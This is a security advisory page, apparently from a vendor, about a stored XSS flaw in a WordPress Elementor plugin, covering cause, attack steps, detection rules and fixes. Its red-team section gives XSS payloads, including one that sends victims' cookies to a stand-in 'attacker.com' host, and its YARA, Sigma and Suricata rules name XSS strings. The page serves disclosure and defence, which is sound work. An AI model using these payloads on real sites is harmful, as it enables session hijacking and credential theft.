CVE-2024-47628
Executive Summary
CVE-2024-47628 is a Stored Cross-Site Scripting (XSS) vulnerability in the LA-Studio Element Kit for Elementor WordPress plugin (version <= 1.3.9.3). This flaw allows an authenticated attacker with contributor-level privileges or higher to inject malicious scripts into web pages generated by the plugin. When an administrator or other user views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.
This vulnerability is classified as a WordPress ecosystem issue, as it resides within a plugin designed for the Elementor page builder. The plugin fails to properly sanitize user-supplied input before storing it in the database, and subsequently fails to escape the output when rendering the page.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users who installed the plugin from these sources are at risk. The lack of a confirmed patch means that supply chain security is compromised until the vendor releases an update. Administrators should monitor the plugin’s changelog and consider disabling or removing the plugin if no patch is forthcoming.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – An attacker needs contributor-level access or higher.
- User Interaction (UI): Required (R) – The victim must view the compromised page.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): Low (L) – Limited impact on availability.
Base Score: 6.5 (Medium)
Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used page builder plugin increases the risk, especially in multi-author WordPress environments.
Deep Dive & Mechanics
The vulnerability lies in the lastudio-element-kit plugin’s handling of user input within Elementor widgets. The plugin fails to properly neutralize input during web page generation, specifically in areas where user-supplied data (e.g., widget settings, custom CSS, or HTML fields) is stored and later rendered.
Root Cause: The plugin uses functions like echo or the_content without applying WordPress’s built-in escaping functions (e.g., esc_html(), esc_attr(), wp_kses_post()). This allows an attacker to inject arbitrary HTML and JavaScript.
Attack Flow:
- An attacker with contributor-level access creates or edits a page/post using an Elementor widget from the LA-Studio Element Kit.
- The attacker inserts malicious JavaScript into a vulnerable input field (e.g., a custom CSS class, a link URL, or a text field).
- The plugin stores the input without sanitization.
- When an administrator or other user views the page, the injected script executes in their browser.
- The script can steal cookies, redirect users, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on common XSS fixes.
Vulnerable Code (Example):
// In a widget render method
echo $settings['custom_css'];
Patched Code (Example):
// Properly escape output
echo esc_html( $settings['custom_css'] );
The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress site with the LA-Studio Element Kit plugin (version <= 1.3.9.3) installed and activated.
- A user account with contributor-level privileges or higher.
Steps:
- Log in as a contributor.
- Create a new page or post.
- Add an Elementor widget from the LA-Studio Element Kit (e.g., a heading or button widget).
- In the widget’s settings, locate a vulnerable field (e.g., “Custom CSS Class” or “Link URL”).
- Inject the following payload into the field:
"><script>alert('XSS')</script> - Save and publish the page.
- As an administrator, view the page. The alert box will execute.
Advanced Payload (Session Hijacking):
"><script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
Blue Team (Defensive)
Detection:
- Monitor for unusual JavaScript execution in the browser console.
- Use a Web Application Firewall (WAF) to block common XSS patterns.
- Review WordPress logs for suspicious page edits.
Mitigation:
- Disable or remove the plugin until a patch is available.
- Restrict contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to block inline scripts.
Indicators of Compromise (IOCs)
- File Hashes (SHA-256): (None available; plugin files may vary by version)
- Network Indicators:
- Outbound connections to attacker-controlled domains (e.g.,
attacker.com). - HTTP requests containing
document.cookieoralert(in the URL.
- Outbound connections to attacker-controlled domains (e.g.,
- Log Entries:
- WordPress audit logs showing creation of pages with unusual widget settings.
- Web server logs with
%3Cscript%3E(URL-encoded<script>) in the request URI.
- Browser Indicators:
- Unexpected JavaScript alerts or redirects.
- Modified DOM elements containing injected scripts.
Detection Engineering
YARA Rule
rule CVE_2024_47628_Stored_XSS {
meta:
description = "Detects stored XSS payloads in LA-Studio Element Kit plugin"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-47628"
strings:
$payload1 = "<script>"
$payload2 = "onerror="
$payload3 = "onload="
$payload4 = "javascript:"
condition:
any of ($payload*) and filesize < 10KB
}
Sigma Rule
title: Stored XSS in LA-Studio Element Kit Plugin
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts via LA-Studio Element Kit plugin
author: Valters IT
date: 2024-10-27
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- '<script>'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in admin panels
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-47628 Stored XSS Attempt"; flow:to_server,established; content:"<script>"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Deactivate and remove
lastudio-element-kituntil a patch is released. - Audit user roles – Remove contributor-level access from untrusted users.
- Scan for existing compromises – Use a security plugin (e.g., Wordfence) to scan for injected scripts.
Long-term Fix:
- Monitor the plugin’s official page for updates. Apply the patch as soon as it becomes available.
- Implement a Web Application Firewall (WAF) with XSS rules.
- Enforce Content Security Policy (CSP) headers to block inline scripts.
Workaround:
- If the plugin is critical, consider using a different Elementor add-on that is actively maintained.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.